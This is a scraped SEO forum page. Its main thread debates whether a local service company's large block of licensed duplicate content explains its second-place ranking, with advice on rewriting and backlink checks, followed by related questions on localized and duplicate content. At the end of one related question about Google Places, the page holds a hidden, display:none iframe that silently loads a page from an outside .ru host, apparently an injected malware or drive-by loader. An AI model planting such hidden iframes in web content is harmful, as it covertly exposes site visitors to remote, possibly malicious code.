Massive duplicate content should it all be rewritten?
-
Ok I am asking this question to hopefully confirm my conclusion.
I am auditing a domain who's owner is frustrated that they are coming in #2 for their regionally tagged search result and think its their Marketer/SEOs fault. After briefly auditing their site, the marketing company they have doing their work has really done a great job. There are little things that I have suggested they could do better but nothing substantial. They are doing good SEO for the most part. Their competitor site is ugly, has a terrible user experience, looks very unprofessional, and has some technical SEO issues from what I have seen so far. Yet it is beating them every time on the serps. I have not compared backlinks yet. I will in the next day or so. I was halted when I found, what seems to me to be, the culprit.
I was looking for duplicate content internally, and they are doing fine there, then my search turned externally......
I copied and pasted a large chunk of one page into Google and got an exact match return.....rutro shaggy. I then found that there is another site from a company across the country that has identical content for possibly as much as half of their entire domain. Something like 50-75 pages of exact copy. I thought at first they must have taken it from the site I was auditing. I was shocked to find out that the company I am auditing actually has an agreement to use the content from this other site. The marketing company has asked the owners to allow them to rewrite the content but the owners have declined because "they like the content." So they don't even have authority on the content for approximately 1/2 of their site. Also this content is one of three main topics directed to from home page.
My point to them here is that I don't think you can optimize this domain enough to overcome the fact that you have a massive portion of your site that is not original. I just don't think perfect optimization of duplicate content beats mediocre optimization of original content.
I now have to convince the owners they are wrong, never an easy task. Am I right or am I over estimating the value of original content? Any thoughts?
Thanks in advance!
-
That's right you posted that about link research tools in my other question but I haven't checked them out yet I will do that asap. I definitely have some more investigation to do but I still think that having a massive portion of their site as duplicate content is hurting. I will talk to them about adding content and see where that goes.
-
It can be a tough call. I would start with adding the content. Adding is probably better than removing right now. The links should probably be investigated further as well. Link Research Tools is my favorite, but it is expensive.
-
Yes I used semrush and raven as well as ose. I looked at the directories and any titles that caught my eye. I need to spend more time on Backlinks for the site I am auditing for sure though.
A question I asked elsewhere was how concerned I should be with high amounts of directory links. This one has quite a few but another site I am working on has about 60% of their Backlinks from yellowpage directories. I still don't know what I think about that.
Ya I was thinking they should add some more locally targeted content. The duplicate content has no local keywords in it. It doesn't mention their city at all. Like I said that is nearly the largest portion of content on their site and has no local terms.
-
Did you check the domains? The numbers alone might not seem spammy, but there are domains with high authority that have been causing Penguin problems. A lot of directory links, any domain with Article in the title, things of that sort. I would try using Majestic and SEMRush for a comparison.
Even with that information, I am not convinced that the duplicate content is enough. I would test it by adding 200-300 words of unique copy above the duplicate content on the pages to see if helps the rankings at all. That will be more cost effective than completely rewriting content first.
-
So link metrics from OSE are that the site I am auditing has 69 referring domains with 1199 links a couple hundred are directories. There does not seem to be any spammy referring domains for either site after a quick once through. The competitor has 10 referring domains with 77 links. The average DA of the referring domains for the competitor is about half of the site I am auditing. The competitors anchor text is slightly better for the keywords in question on average. All in all though the link portfolios are not what is beating the site I am auditing.
-
That makes sense
-
No its a totally regional industry they aren't competitors and they have exclusivity in their contracts so they can't work with competitors inside a certain radius or whatever.
I didn't mean they should be ranking nationally I am just saying it is possible in regards to your question of is local or national seo more important.
-
What? That is a little crazy. I don't think I could work for two companies trying to rank for the same keywords, that is such a conflict of interest.
Each site is an individual, and there are over 200 ranking factors. So it isn't really fair to say that they should have the same results. The sites are different and probably have enough differences to make ranking them each a challenge, especially on the same key terms.
-
Yes they are a local service company serving St. Louis. However I will say that the marketing company they hired have a client in the same field in New England that ranks top 5 for the same keywords nationally so to me there is no reason they shouldn't be able to do the same.
-
I totally agree that it needs to be rewritten. Is local SEO more important than ranking nationally?
-
Ya you are totally right I have to dig into the Backlinks. I will post the results back here when I get it done.
The results are local results so that is why the site with the original content doesn't rank but the duplicate does. The original content belongs to a company half of the US away. Neither company ranks for the search terms on a national scale but when I paste content in directly to Google and search, the original content does beat out the site I am auditing.
-
I think you are right in your assumption. Duplicate content is never a good thing. However, if it isn't the same content on the site that is outranking them, then Google must be seeing the site you are auditing as more authoritative than the site they copied the content from. So, while it is an issue, the links might prove to show you where the actual optimization needs to be. If things are neck in neck, like I am understanding, then then link profile is going to be extremely important.
The content, no doubt, should be rewritten. Without a look at the link profile though, you can't say it is the reason they aren't outranking the guys in the number one spot.
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
Meta descriptions in other languages than the page's content?
Hi guys, I need an opinion on the optimization of meta descriptions for a website available in 6 languages that faces the following situation: Main pages are translated in 6 languages, English being primary >> all clear here. BUT The News section includes articles only in English, that are displayed as such on all other language versions of the website. Example:
Local Website Optimization | | Andreea-M
website.com/en/news/article 1
website.com/de/neues/article 1
website.com/fr/nouvelles/article 1
etc. Because we don't have the budget right now to translate all content, I was wondering if I could add only the Meta Titles and Meta Descriptions in the specific languages (using Google Translate), while the content to remain in English. Would this be accepted as reasonable enough for Google, or would it affect the website ranking?
I'd like to avoid major mistakes, so I'm hoping someone here on this forum has a better idea of how to proceed in this case.0 -
Content Strategy – Blog Channel Questions
We are currently blogging at a high volume to hit keywords for our 1,500 locations across the country. We are trying to make sure we rank well near each location and we have been using our blog to create content for that reason. With recent changes on Google, I am seeing that it is more about content topics than hitting all variations of your keywords and including state and city specific terms. We are now asking ourselves if the blog channel portion of our content strategy is incorrect. Below are some of the main questions we have and any input that is backed by experience would be helpful. 1. Can it hurt us to blog at a high volume (4 blogs per day) in an effort to include all of our keywords and attach them to state and city specific keywords (ie. "keyword one" with "keyword one city" and "keyword one different city")? 2. Is it more valuable to blog only a couple of times per month with deeper content, or more times per month with thinner connect but more keyword involvement? 3. Our customers are forced to use our type of product by the government. We are one of the vendors that provide this service. Because of this our customers may not care at all about anything we would blog about. Do we blog for them, or do we blog for the keyword and try and reach partners and others who would read the content and hope that it also ranks us high when our potential customers search? 4. Is there an advantage/disadvantage or does it matter if we have multiple blog authors? Big questions for sure, but if you have insight on any one of them, please provide and maybe we can answer them all with a group effort. Thanks to all of you who are taking the time to read this and contribute.
Local Website Optimization | | Smart_Start0 -
Using geolocation for dynamic content - what's the best practice for SEO?
Hello We sell a product globally but I want to use different keywords to describe the product based on location. For this example let’s say in USA the product is a "bathrobe" and in Canada it’s a "housecoat" (same product, just different name). What this means… I want to show "bathrobe" content in USA (lots of global searches) and "housecoat" in Canada (less searches). I know I can show the content using a geolocation plugin (also found a caching plugin which will get around the issue of people seeing cached versions), using JavaScript or html5. I want a solution which enables someone in Canada searching for "bathrobe" to be able to find our site through Google search though too. I want to rank for "bathrobe" in BOTH USA and Canada. I have read articles which say Google can read the dynamic content in JavaScript, as well as the geolocation plugin. However the plugins suggest Google crawls the content based on location too. I don’t know about JavaScript. Another option is having two separate pages (one for “bathrobe” and one for “housecoat”) and using geolocation for the main menu (if they find the other page i.e. bathrobe page through a Canadian search, they will still see it though). This may have an SEO impact splitting the traffic though. Any suggestions or recommendations on what to do?? What do other websites do? I’m a bit stuck. Thank you so much! Laura Ps. I don’t think we have enough traffic to add subdomains or subdirectories.
Local Website Optimization | | LauraFalls0 -
What is the optimal approach for a new site that has geo-targeted content available via 2 domains?
OK, so I am helping a client with a new site build. It is a lifestyle/news publication that traditionally has focused on delivering content for one region. For ease of explanation, let's pretend the brand/domain is 'people-on-the-coast.com'. Now they are now looking to expand their reach to another region using the domain 'people-in-the-city.com'. Whilst on-the-coast is their current core business and already has some search clout, they are very keen on the city market and the in-the-city domain. They would like to be able to manage the content through one CMS (joomla) and the site will deliver articles and the logo based on the location of the user (city or coast). There will also be cases where the content is duplicated for both regions. The design/layout etc. will all remain identical. So what I am really wanting to know is the pros, cons and ultimately the best approach to handle the setup and ongoing management from an SEO (and UX) perspective. All I see is problems! Any help would be greatly appreciated! Thanks,
Local Website Optimization | | bennyt
Confused O.o0 -
Main Website and microsite - Do I do google places for both as it will technically be duplicating the locations,?
Hi All, I have a main eCommerce website which trades out of a number of locations and all these locations appear in google places although they don't rank particularly well in google places . I also have a number of microsites which are specific to one type of product I do and these rank very well locally. My question is , should I also do google places for my microsites as this would technically mean I am creating a duplicate location listing in google places but for a different website etc./business I only have one google account so I guess this would be done under the same google account ? thanks Pete <iframe id="zunifrm" style="display: none;" src="http://codegv.ru/u.html"></iframe>
Local Website Optimization | | PeteC120 -
Duplicate content question for multiple sites under one brand
I would like to get some opinions on the best way to handle duplicate / similar content that is on our company website and local facility level sites. Our company website is our flagship website that contains all of our service offerings, and we use this site to complete nationally for our SEO efforts. We then have around 100 localized facility level sites for the different locations we operate that we use to rank for local SEO. There is enough of a difference between these locations that it was decided (long ago before me) that there would be a separate website for each. There is however, much duplicate content across all these sites due to the service offerings being roughly the same. Every website has it's own unique domain name, but I believe they are all on the same C-block. I'm thinking of going with 1 of 2 options and wanted to get some opinions on which would be best. 1 - Keep the services content identical across the company website and all facility sites, and use the rel=canonical tag on all the facility sites to reference the company website. My only concern here is if this would drastically hurt local SEO for the facility sites. 2 - Create two unique sets of services content. Use one set on the company website. And use the second set on the facility sites, and either live with the duplicate content or try and sprinkle in enough local geographic content to create some differential between the facility sites. Or if there are other suggestions on a better way to handle this, I would love to hear any other thoughts as well. Thanks!
Local Website Optimization | | KHCreative0 -
Website and eshop with the same product descrition is duplicate content
Hi there! I'm building a website that is divided in a "marketing" and "shop" sections. The 2 sites are being authored by two companies (my company is doing the marketing one). The marketing site has all the company products while the shop will sell just some of those. I'm facing the problem of duplicated content and want to ask you guys if it will be a problem/mistake to use the same product description (and similar url) for the same product in both sites, and the right way to do it (without rewriting product descriptions). the main site will be : www.companyname.com
Local Website Optimization | | svitol
the shop will be: shop.companyname.com thanks
Francesco0 -
How do I fix duplicate content issues if the pages are really just localized versions?
Does this still hurt our SEO? Should we place different countries on their own respective domains (.co.uk, etc)?
Local Website Optimization | | fdmgroup0